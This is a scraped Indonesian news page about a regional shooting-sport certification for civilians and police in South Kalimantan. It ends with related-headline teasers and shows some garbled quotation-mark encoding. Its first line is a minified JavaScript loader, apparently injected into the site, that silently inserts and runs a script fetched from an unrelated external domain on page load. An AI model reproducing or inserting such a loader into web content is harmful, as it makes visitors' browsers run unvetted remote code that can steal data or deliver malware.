(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pengprov Persatuan Menembak Sasaran dan Berburu Indonesia (Perbakin) menggelar sertifikasi AA-IPSC dan Range Officer AA-IPSC bidang tembak reaksi. Sertifikasi digelar di Lapangan Tembak Brimob Polda Kalsel di Banjarbaru pada Jumat (24/1/2020) hingga Minggu (26/1/2020), yang diikuti sedikitnya 47 anggota dari sipil dan Polri.
Wakil Ketua Bidang Tembak Reaksi Pengprov Perbakin Kalsel Kemas Ahmad Sajiron mengatakan, sertifikasi menembak sasaran ini merupakan yang pertama kali digelar di Kalimantan Selatan. “Karena ini pertama kali (digelar) di Kalimantan Selatan, dan Alhamdulillah diikuti oleh provinsi lain yaitu Kalimantan Timur dan Kalimantan Barat,†kata Kemas.
Menurut Kemas, tujuan dari sertifikasi ini sendiri, yaitu agar para peserta memahami dan dapat mengerti tata cara menggunakan senjata yang benar dan ketentuan yang dipertandingkan. Sehingga, diharapkan dapat menjadi unggulan di Kalimantan Selatan.
Lalu, bagaimana indicator dari sertifikasi menembak sasaran ini? Menurut Kemas, ada ujian tertulis dan praktik. Diakuinya, ujian praktik sangat berat, karena peserta harus mampu menembak sasaran dan pergerakan tubuh.
“Termasuk juga persenjataannya yang tidak membahayakan orang lain. Karena kalau tidak sesuai dengan ketentuan yang berlaku, maka otomatis akan didiskualifikasi,†sebutnya.
Sertifikasi sendiri, diharapkan dapat menjadi tolak ukur oleh Perbakin. Tak hanya itu, sertifikasi ini juga merupakan rangkaian dalam menyongsong digelarnya PON 2020 di Papua. Karena, jika telah memiliki sertifikasi, Pengprov Perbakin Kalsel dapat mengikuti event PON tersebut.
“Di samping itu, untuk RO (range officer) kita tidak perlu lagi mengambil dari daerah lain, karena kita sudah punya 15 RO yang sudah dilatih,†tambah Kemas.
Sementara itu, Kepala Dinas Pemuda dan Olahraga (Dispora) Provinsi Kalsel Hermansyah menilai, pembinaan yang selama ini dilakukan oleh Pengprov Perbakin Kalsel sudah cukup baik, terutama di Kalsel. Harapannya, cabang olahraga ini dapat mengharumkan nama Kalsel ke depannya, terutama dalam menghadapi PON 2020 di Papua. “Karena menembak ini menjadi cabang unggulan di Kalsel,†lugas Herman. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More
Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More
13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More
KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More
This website uses cookies.